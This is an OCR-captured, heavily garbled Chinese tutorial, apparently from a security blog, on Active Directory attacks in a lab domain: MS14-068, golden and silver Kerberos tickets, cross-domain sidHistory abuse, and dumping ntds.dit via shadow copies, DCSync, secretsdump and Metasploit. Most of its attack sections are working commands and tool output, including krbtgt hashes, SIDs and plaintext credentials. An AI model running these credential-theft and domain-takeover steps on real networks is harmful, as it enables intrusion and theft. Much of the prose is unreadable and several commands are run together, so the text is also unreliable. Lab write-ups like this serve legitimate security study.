: Intel(R) PRO/1000 MT Network Connection
: 00-0C-29-91-86-D1

o
: fiS@::68a9:6a61:4251:26c5%11(l%fi)
: 192.168.3.142 (1<)
: 255,255.255,0
: 192.168.3.1
. 234884137

L o)
DHCPV6 ;=7 DUID : 00—01—@0—@1—24—71&-@@8{!—]’898iX
s qme i

192.168.3.142

TCPIP rH—-NetBIOS

goldenPac.py 21&81J PsExec X1 Shell 19, EUM=TAARENHT, mEIAXMERHNBEERS ARRAIZ

ESN
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3. kekeo

kekeo h2—1TLHE, HEHEE T msl4-068 BIFIAER, kekeo TEHbIL: https://github.com/gentilkiwi/kekeo
FRZIEETERER
SNEEIE(FEA kekeo £ SNRZE

none

ntdsutil shapshot "List All" quit quit
2RI AEE dir H#rs#E PsExec E2EIEE T

4. MSF
MSF 18758 MS 14-086 RYIEAN EXP, RIEELES mimikatz H1THI

none

vssadmin create shadow /for=C:

WEIFEE. GiE P, B3, B, SID EE17, BRIRE—1 bin XX

B3 MSF A bin XHRS N, EIEFEE mimikatz 3 E TR TR
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none

copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopyl2\windows\NTDS\ntds.dit C:\ntds.dit

Zha, ER—"TAKE

none

vssadmin delete shadows /for=C: /quiet

BARSERRBMEN L, FHMEHE 52 MSF

(SRIEE, BRI mimikatz BB kil SIS

e
a
D

none

cscript vssown.vbs /start

ZJE{# current_user_psexec &R

none

cscript vssown.vbs /create c

REZIRE SRR
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AZ MSF AERTRETRE 1, WE—ERIFIADEX T ER, GNENEEBRD A

5. CS
SERIAEBIEIRY ms14-068.py E/—1 ccache 1, ZJE{EHA KrbCredExport & ccache 4454 kirbi F&=

KrbCredExport NaEblt:  https://github.com/rvazarkar/KrbCredExport

none

cscript vssown.vbs /list

BEE(FH CS By kerberos_ticket_use AN ticket, Z/agheeis o)z 7

beacon> kerberos_ticket_use

[*] Tasked beacon to apply ticket in 2 la= /KrbCredExport/user. ticket
[+] host called home, sent: 2693 bytes

beacon> shell dir \\OWA2010SP3.0day.org\C$

[*] Tasked beacon to run: dir \\OWA2010SP3.0day.org\C$

[+] host called home, sent: 59 bytes

[+] received output

IREhE% \\OWA2010SP3.0day.org\C$ FHIERHTIRE.

EHNFSISE CC41-F739

\\OWA2010SP3.0day.org\C$ KIEZ

2019/05/19 07:39 <DIR> ExchangeSetuplLogs
2019/05/19 06:47 <DIR> inetpub

2019/05/26 10:35 <DIR> Program Files
2019/05/26 10:35 <DIR> Program Files (x86)

2019/05/19 06:48  <DIR> Users ? .
2021/09/24 09:20 <DIR> Windows Q Tea mSSIX
2019/05/19 06:58 <DIR> wwwdata
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0 X 0 F1
7 TE#® 47,964,016,640 TJFT

ORISR A BAA 2R BB T, o] DAFTRIN— Bz target, Z8/E1E4% PsExec , A% E use session’s
current access token 1817 jack F9=1E L2 BIP],

external internal ~ listener user computer note process
B8 192.168.3.68 192.168.3.68 https jack SRV-DB-0DAY powershell.exe
[F2~ 192.168.3.142 192.168.3.142 https SYSTEM * OWA2010SP3 rundll32.exe
user password realm note
name
o o Add Target SRV-DB-0DAY
Add target OWA20105P3 3
a new target.
.
psexec64
Address: [192.168.3.142 J Services | psexec_psh
Name: [OWA20105P3 | Host  r|ssh User: ¢
os: [Windows 7 -~ ssh-key Password:
Note: | - 1 winrm Bt =5 X
: winrm64 i - --
Save Listener: [https eNY ]
.. Eava Al 2
Session: [jack via 192.168.3.68@3924 .t ISl S™IA

[¥] Use session’s current access token

~Launch Help

0. BIS
RT EFBEEZIE (Golden Ticket) #17 PTP ZIELEN, FTELIAEU MEA:

NONLL 1 I A rm o e A A
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NEREETE DA~ 7

SEEE YIS
15 SID
krbtgt B9 NTLM Hash 3§ AES-256 &
ErR krbtgt BPREIBFAF, # KDC BHn &R FOMRSATEA, BT Domain Admins 4,

ISR, 8T HEPIKSHEEEER kbtgt B ATERR, EUMCAIRFE 7 krbtgt A/HY NTLM Hash &
AES-256 1B, FiAIAMAEZAEERFISM T,

1. S krbtgt B9 NTLM Hash
£ mimikatz MATA s

none

copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopyl4\windows\NTDS\ntds.dit C:\ntds.dit

XEBEE krbtgt 89 NTLM Hash & d685b9c4fa2d318a9943ed68948af087
Zas (B desync IHEEIRAZEERE AD BBHY ntds.dit, (£ /user 2, pJURSHIBERFE.
SEFA U TSIRE krbtgt A9 NTLM Hash , 18] SID &, 181%Za<I0AFRE AES-256 1A

none
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cscript vssown.vbs /delete {22B93FE6-D53A-4ECA-BD5A-7A2A68203EF8}

2. SFRERER
SKENE SID

none

ntdsutil "ac i ntds" "ifm" "create full c:/test" q q

X253l administrator # SID y S-1-5-21-284927032-1122706408-2778656994-500, BIF/~=HBIER SID B
= S—-1-5-21-284927032-1122706408-2778656994

SREXERIAFH SID
EEHEEAKS

none

rmdir /s/q C:\test

ERlEs
3. HlFEERE
SEREIRE

https://teamssix.com/211027-163641.html 251/273



2021/10/27 F4-6:42 [T M2 S iR &4 | TeamsSix
TIEE

none

Import-Module .\Copy-VSS.pslCopy-vsszi&PowerShell -Exec bypass -C "Import-module .\Copy-VSS.psl;Copy-vss"

BEEFEHEANANTF

none

set context persistent nowritersadd volume c: alias someAliascreateexpose %someAlias% k:exec "C:\windows\system32
\cmd.exe" /c copy k:\Windows\NTDS\ntds.dit C:\ntds.ditdelete shadows alllist shadows allresetexit

4. ISUEANPR

IEH mimikatz , {8/ dir &I ARIH S H B 14
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dfald318z
Administ

512 520 51

C —} d.

Final Ticket Saved to file
z # kerberos::iptt Administrator. kiribi

"Administrator.kiribi’ : OK
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D ¢Q TeamsSix

XEB(FH PsExec AR EESKINEIASRAY, BR7T FE(FR NTLM Hash Z4b, WA DMEMA krbtgt B9 AES-256 B4 A,
B2

none

diskshadow /s C:\command.txt
wmRTE LG, MEEM— Administrator kiribi 3X1F, ZEEVRIERME—F 7,

5. MSF T8FIB
BN tA—"7Z@EAF, AENE Kkiwi {21k
THETER

none
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reg save hklm\system c:\windows\temp\system.hive

BEEZEEIANNGF

none

Import-Module .\Invoke-NinjaCopy.pslInvoke-NinjaCopy -Path "C:\windows\ntds\ntds.dit" -LocalDestination "C:\ntds.
dit"

ENINE, #A Shell HigeEE dc BT

meterpreter > load kiwi
Loading extension kiwi...
. mimikatz 2.2.0 20191125 (x64/windows)
JHHE N ##. MA La Vie, A L'Amour" - (oe.eo)
## / \ ## /%% Benjamin DELPY ‘gentilkiwi' ( benjamin@gentilkiwi.com )
#H N\ / #H > http://blog.gentilkiwi.com/mimikatz
"H#HE v ## Vincent LE TOUX ( vincent.letoux@gmail.cgm )

VHHHAH > http://pingcastle.com / http://mysmartlogon.com ¥/

Success. :
meterpreter > golden_ticket_create -d teamssix.com -k d685b9c4fa2d318a9943ed68948af@87 —s
S-1-5-21-284927032-1122706408-2778656994 —u administrator -t /root/administrator.ticket
[+] Golden Kerberos ticket written to /root/administrator.ticket

meterpreter > kerberos_ticket_use /root/administrator.ticket
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[*] Using Kerberos ticket stored in /root/administrator.ticket, 1864 bytes ...

[+] Kerberos ticket applied successfully. -
meterpreter > shell

Process 5036 created.

Channel 1 created.

Microsoft Windows [&% 10.0.19042.1165]

(c) Microsoft CorporationG@GeBGGGHGESS

C:\Users\test.TEAMSSIX\Desktop>dir \\dc\c$
dir \\dc\c$

BO6O \\dc\c$ GelBlBOGKOY

GOLHHHKB6G 8231-1ACA

\\dc\c$ GoL%

2021/07/01 10:00 <DIR> inetpub
2021/09/09 12:33 <DIR> Program Files
2021/09/09 12:33 <DIR> Program Files (x86)
2021/09/09 12:40 <DIR> temp -
2021/04/29 ©9:32  <DIR> Users ’ )
2021/09/27 16:05  <DIR> Windows QTeamSSD(
2018/10/16 14:25 509,264 winsdk_web.exe

1 66616 509,264 B

6 BBy 73,554,223,104 GoOLLH

0. I

I L i l—~
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HIREHE (Sliver licket) Nal+s&EE£EFE (Golden licket)

Kerberos 1MMGF/E:  https://teamssix.com/210923-151418.htm!

HIREIEASEBRED £F0 KDC R E, HISHE 7 Kerberos INEMXERIAT 4 4

ERIERARS 2R ST Bix5 ARSS2s Server #1728,

HIRERES B EEXA):

B NS EER T ARSS TGS £

. BIREFEAZY KDC, HAREEAGENTERRERE), @NAREENHTEHEEmRSZ: L, SiELE

A=BHE

2. BREFENARSKFNVERE, FETETEEMNE kibtgt lkFNERE, HIEEREEENRRR, BERERE

RIAX BRI AN U0 EE % B HEAOIER 1
BFARREEFTELAMEN MR
15
15 SID
EinARSS25/Y FQDN BS80S =
BIFIFERVARSS
ZSIkF Y NTLM 157

BB ZEERF 3
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1. {9i€ CIFS RSBXER

CIFS fR&S & AT Windows FHZBRIXHHRE, BFEH mimikatz SREVRSIKF R NTLM 6%, XEFEAN
Username 5 DC$ #9 NTLM 157

none

git clone https://github.com/SecureAuthCorp/impacket.gitcd impacketpython3 setup.py install

58] HASH f5, B=SRIRARPROERE, BIEEMERETH

none

cd ./build/scripts-3.9python3 secretsdump.py teamssix.com/administrator:1qaz@NSX@192.168.7.7 -outputfile output_n
tds

£ mimikatz &N ENHIEETE

none

apt-get install autoconf automake autopoint libtool pkg-configwget https://github.com/libyal/1libesedb/releases/do
wnload/20210424/1ibesedb-experimental-20210424.tar.gztar zxvf libesedb-experimental-20210424.tar.gzcd libesedb-20
210424 . /configuremakemake installldconfig

esedbexport -m tables ntds.dit
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T_ﬁjiﬁ})% @Eﬂﬂ dir ap MR jE 13 HQ?UEjfTE/] ?ﬂ& I

2. f{hi& LDAP FRSZHXER
AT LRI RE FMER dosyne SEHTRS

none

git clone https://github.com/csababarta/ntdsxtract.gitcd ntdsxtractpython setup.py buildpython setup.py install

1R x[E] ERROR 1B HEIX BANEE# 1T desyne 11E
ENSEAR LDAP RSB IRER

none

python2 dsusers.py ntds.dit.export/datatable.3 ntds.dit.export/link_table.5 output --syshive SYSTEM --passwordhas
her --pwdformat ocl --ntoufile atout --lmoufile Imout | tee all_user.txt

de:dc /domain: tee
2016fd4cb7eTa

dline) # 1
com’ will

5fd4eb7e7a — rc4 hmac_nt

10/7 14:01:16 ; 20:

. \mimik 2 y > /dc:de /domain:t

17:19
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t for 't successfully submitted for current se

commandline) # exit

test. TEAMSSIX\Desktop\mimikatz_trunk\x64

0202
1601/1/1 )0 (7(]

® NI AB UL

. MIBENRZERE, thall Web iwiE

. MREMBEERETEREEAERCE, FANErEEANZEEERN

. FIAREEEXRR

RXEEFERE=IN EEEXR

SEZTEN, AENEZERHTHRAZ, MBERIEELT, RE3gZEERERE, TEHTHRAZ,

fﬂm{%?&?j jj%mﬁ:f%%uﬂimﬁ:f% %m{DTEE\H A ,TEI/EE B TE B T\{IZI/EE A XXW{DTEHEE E@U@?iﬁﬁj, ?\/)b
ST FEANAE 2 [B] Bl WN @ e {E B EERR.
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DRESOLCRED 1402 5 5028 4 5 | TeamsSix
EEXRAX B D ANEMEENINEMEE. NEMEEREER—TMREZ BNEEXRR, XMEEXRAZAEIE;
SNEREEIEAEMZ BIEREERR, XIMEEXRABUMEEERIRAENZ A EE,

£ Windows ##1ERZTH, KRB Domain Admins ARIIAF A AEIBIEEER R Enterprise Admins 42 (XL ILEM
AOIREEIFR) AIRR RXIMAR AT B EA T2 HIANR, BUAMBER T, ZABSMPEEIZE L EE administrators R
A,

1. REUEER

XEFERTE Ig #HTEANEENKE, Ig 82— C++ BENATEEREAPAME AP ARG <ITLE, 7]
AERKRERZEENAFMANESR.

M teamssix I HAIE A

WERRITENNB R E, NREREESD), RASEEEXR
WEIRRT BN 2

WERRERGHREEAFH SID

none

python2 dscomputers.py ntds.dit.export/datatable.3 computer_output --csvoutfile all_computers.csv

WEIRE ARG IEE AT NPIE AR SID

none
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impacket-secretsdump -system SYSTEM -ntds ntds.dit LOCAL

2. M AEEEZEHIRIBIREN R
XEINREER:
AAFAIIEIE . do.teamssix.com
TR subde.sub.teamssix.com
FHEIAWAITTEN: userd.sub.teamssix.com
FEINAEBHES: userd
FEFIFREIRRER mimikatz SREVEZEER

none

cd ./build/scripts-3.9
python3 secretsdump.py -system SYSTEM -ntds ntds.dit LOCAL

SRR SID . RiFRY SID MF5gE NTLM I8 /5, A SNEERPZs LAE mimikatz SItFEESEE
XEH) sids BRI sid, sids faH) 519 R ROIENAF BT RENERERH

none
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NTDSDumpEx -d ntds.dit -s system -o domain.txt

DA ] 27 5] B0 & 4 | TeamsSix

H B RIRIHIERYE E IR B ARt BARARSSHY TGS HARF AR

none

lsadump: :dcsync /domain:teamssix.com /all /csv

FFIRERRY TGS ZIREANEINFH

none

1sadump: :dcsync /domain:teamssix.com /user:administrator

&/ dir 15(8) ARz

none

privilege: :debug
lsadump::1sa /inject

C:\Users\user4\Desktop\mimikatz trunk\x64>asktgs subdc administrator.kirbi cifs/dc. teamssix. com

. Hofnf.

CHH T HH.
#% / \ g#
2t \ / B#

https://teamssix.com/211027-163641.html

%SRTGS KerbE‘j§ Cliegt 1.0
“"A La Vie, A L’ Amour”

gentilkiwi

(X

:86)

(

bep iamin@

built on Dec 8 2016 00:31:13

gentilkiwi. com )
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http://blog.gentilkiwi. com

subdc_administrator. kirbi
krbtgt’'/ teamssix.com @ sub. teamssix. com
rincipal : administrator @ sub. teamssix.com

» cifs/dc. teamssix. com
£ Ticket in file cifs. dc. teamssix..com. kirbi

C:\Users\user4\Desktop\mimikatz trunk\x64>kirbikator lsa cifs. dc. teamssix. com. kirbi

KiRBikat01 1.1 (x86) built on Dec 8 2016 00:31:14
% La \1 e, A L’ Amour”

Ben amin DELPY gentilkiwi ( benjamin@gentilkiwi.com )
http..‘blog.gentilkiwi.com (oe. eo)

Destination : Microsoft LSA API (multiple)
cifs. dc. teamssix.com. kirbi (RFC KRB-CRED (#22))
» Ticket administrator@sub. teamssix. com—cifs dc. teamssix. com@TEAMSSIX. COM : injected

b@l\‘Ub@l% \Desktop' nlnlkatz trunk\x64>dir \\dc. teamssix. com\c$
VIE dc teamssix. com\c$ qJ[J{Li%f]tb"
& A27C-9135

ix. com\c$ A HE

3:52 DIR PerflLogs ¢ .
7:01 <DIR Program Files T S
A <DIR Program Files (x86) Q eal I IS IX
5:48 DIR Users
2:16 DIR Windows

=

: 0 &1
5% 54,115, 930, 112 A FH=F

3. MR krbtgt EXF{EIREX B tRiERITXER
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R HE IR T MAERIERY krbtgt BFIME, BRI DAEA sidHistory SRIGIZARAOSTENIR
BESURENHBI AR SID &, AJILMERM NI A sm<

none

Import-Module ./Invoke-DCSync.psl
Invoke-DCSync -PWDumpFormat

Y& TN SRIRENFI A9 krbtgt RIMGFHE, {8 mimikatz B17]

none

use auxiliary/admin/smb/psexec_ntdsgrab
set rhosts 192.168.7.7

set smbdomain teamssix.com

set smbuser administrator

set smbpass 1qaz@WSX
run

AFEEBEAP R EN P E R TR

none

use windows/gather/credentials/domain_hashdump

set session 1
run
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r:Administrator /domain
1-5-21-2230503874-11878

C:\Users\user4\Desktop\mimikatz trunk\x64>mimikatz ~Kerberos::golden /use
: sub. teamssix. com /sid:S-1-5-21-1655164184-1934932396-2547489287 /sids:S—

44892-774991719-519 /krbtgt:b53a5c7c51648Ff033b96971e7aedeed5 /ptt” exit

. BEERE, mimikatz 2.2.0 (x64) #19041 Aug 10 2021 17:19:53
JB# - #8. A La Vie, A L’ Amour” ~ (oe.eo)
## / \ 88 /#kk Benjamin DELPY gentilkiwi (- benjamin@gentilkiwi. com )
#8 \ / #8 https://blog. gentilkiwi. com/mimikatz
TH#E v HEY Vincent LE TOUX ( vincent. letoux@gmail. com )
' gt  _https://pingcastle. com'/ https://mysmartlogon. com k%

mimikatz (commandline) # Kerberos::golden /user:
—21-1655164184-1934932396-2547489287 fsids S =
b53abc7c¢51648f033b96971e7aedeeds /ptt

User : Administrator

Domain : sub. teamssix. com (SUB)

SID 1 S-1-5-21-1655164184-1934932396—2547489287

User Id 500

Groups Id : *513 512 520 518 -519

Extra SIDs: S—-1-5-21-=2230503874-1187844892-774991719-519 ;

ServiceKey: b53abe7c51648f033b96971e7aedeed5 — rc4 _hmac nt

thetlme . 2021/10/21 13:13:16 : 2031/10/19 13:13:16 - 2031/10/19 13:13:16
—> Ticket : #% Pass The Ticket =%k

Administrator /domain:sub.teamssix.com /sid:S—-1-5
5-21-2230503874~1187844892-774991719=519 /krbtgt:

* PAC generated
¥ PAC signed

* EncTicketPart generated
* EncTicketPart encrypted
* KrbCred generated

Golden ticket for ’Administrator @ sub. teamssix.com successfully submitted for current session

mimikatz (commandline) # exit
BT\'E‘ I

C:“Iseleuser4EDebktop mimikatz_trunk\x64>dir \\dc. teamssix. com\c$
Uixz U \\dc. teamssix. com\c$ FHIZEEHIFZL.
1 %LQ‘ - A27C-9135

\\dc. teamssix.com\c$ HJH X l° Tea mSS iX
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(x86)

4. FIAFTARZIRF MS-RPRN FREUSEMINER

MREEIREN T EMAPENIENR, NERE T RARZIREAIRS IR, BEABPIUMER MS RPRN 1Y
RpocRemoteFindPrinterChangeNotification(Ex) /574, {{EEMAVEIEHIEE M EEEFIRRSER LIS MIABEK,
AR EEIMNEER,NESE,

IR IXEIREN T teamssix.com AVEIZMER, B Oday.org 5 teamssix.com EBEMEERR
B JoE teamssix.com BIIFIE FISITEMIAEIEK

none

Install-Module DSInternals -Force

none

$key = Get-Bootkey -SystemHivePath 'C:\system'
Get-ADDBAccount -All -DBPath 'C:\ntds.dit' -Bootkey $key | Out-File output_hash.txt

FRWIE, 8A SpoolSample TE1E OWA2010SP3.0day.org @ deo.teamssix.com &ixSMIAIEIERK

nNNA
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[N

$key = Get-Bootkey -SystemHivePath 'C:\system.hive'
Get-ADDBAccount -All -DBPath 'C:\ntds.dit' -BootKey $key | Format-Custom -View HashcatNT | Out-File output_hashca
t.txt

RISERE, (£ rubeus REBEIANANE

none

setlocal
if NOT "%CALLBACK_SCRIPT%"=="" goto :IS_CALLBACK

set SOURCE_DRIVE_LETTER=%SystemDrive%

set SOURCE_RELATIVE_PATH=windows\ntds\ntds.dit

set DESTINATION_PATH=%~dp@

@echo ...Determine the scripts to be executed/generated...

set CALLBACK_SCRIPT=%~dpnx@

set TEMP_GENERATED_SCRIPT=GeneratedVarsTempScript.cmd

@echo ...Creating the shadow copy...

"%~dp@vshadow.exe" -script=%TEMP_GENERATED_SCRIPT% -exec="%CALLBACK_SCRIPT%" %SOURCE_DRIVE_LETTER%
del /f %TEMP_GENERATED_SCRIPT%

@goto :EOF

:IS_CALLBACK

setlocal

@echo ...0Obtaining the shadow copy device name...

call %TEMP_GENERATED_SCRIPT%

@echo ...Copying from the shadow copy to the destination path...
copy "%SHADOW_DEVICE_1%\%SOURCE_RELATIVE_PATH%" %DESTINATION_PATH%

reg save hklm\system system.hive

£ mimikatz JREX B 409 krbtgt BIFIME
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none

C:\Program Files\Microsoft SDKs\Windows\v7.1\Bin\x64\vsstools\vshadow.exe

Tk, WEREEEARETINNTEF, FAETBIAS Oday.org BIHZRIIRER 1

none

esentutl /p /o ntds.dit

B 2021 % 2 B 3 HEMAMNZEIZILE —DEICHIE, BEA20E T AKEFNRE, AR 2021 E 2 A 3 5£HX
5, (BEfr L2 2020 19 10 BfomE£F AN (WNEZE2KEA) XAR, HITEFEEIAN T, XERE TR
FSER 10 By, FF—FME, X—FRAMNENSHFHRETECMERENIMARD, MBS RAITNIN#EAS

TREEME, XTZAXZUMEN, RSIEBCSREFS . KR,

LR MS 08067 LI EErfRir. BERBAIRER (WMNZZKEL) . RERECEESZHRNEE], &

B 2R BT RPIALR BBV R ], ERBIRMIXLERATERHNEAE TEINHBUESE, W1,
&a, T —REBIRME. WMFIZIERIIREH DT AEFZINMAOTZFIHA0ZEL, ENAESM
#izE, ENEFRASELMERNANRRNREAERIMNARIEIRB LT,

BECHZ1EATRERNENE —: —EBTECEHBRNER, XME 17 FREULXTANRSHEER
B “RAEZCHPHRBICE—ERNBAE, NRFMAFMZH—AFRIEE, XK EENZICHEEE

2R,

HAEBHIX—R SN, WA RIIRE=SIAMEN = A1,
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